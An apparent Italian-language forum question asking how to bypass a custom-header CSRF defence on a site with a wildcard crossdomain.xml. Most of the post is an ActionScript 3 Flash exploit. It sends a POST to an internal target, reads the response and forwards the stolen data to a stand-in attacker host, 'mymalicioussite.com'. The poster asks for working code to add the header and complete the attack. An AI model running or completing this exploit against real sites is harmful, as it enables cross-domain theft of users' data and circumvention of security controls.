Ho un obiettivo con CrossDomain.xml debole ma impedisce l'attacco CSRF guardando uno degli header HTTP personalizzati. Ho trovato il seguente action script su un paio di siti web, che funziona perfettamente tranne che non imposta l'intestazione.
Questo actionscript invia una richiesta POST a "Target.htm" e ho bisogno di impostare qualsiasi intestazione personalizzata, ad esempio Test-Header:
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite {
public function FlashTest() {
// write as3 code here..
//Target URL
var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
var readFrom:String = "http://192.168.100.4/Target.htm";
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.data = "ThisDoesNotMatter"
readRequest.method = URLRequestMethod.POST
readRequest.requestHeaders.push(header);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
{
getLoader.load(readRequest);
}
catch(error:Error)
{
}
}
private function eventHandler(event:Event):void
{
var sendTO:String = "http://mymalicioussite.com";
var sendRequest:URLRequest = new URLRequest(sendTO);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
{
sendLoader.load(sendRequest);
}
catch(error:Error)
{
}
}
}
}
CrossDomain.XML sulla destinazione:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>
Qualsiasi aiuto sarebbe apprezzato. Un codice funzionante con richiesta GET invece di POST funzionerebbe anche come target accetta entrambe le richieste GET e POST. Per quanto ne so, l'impostazione di intestazioni personalizzate è consentita solo con la richiesta POST ma una richiesta GET con qualsiasi intestazione HTTP standard potrebbe funzionare almeno per ora.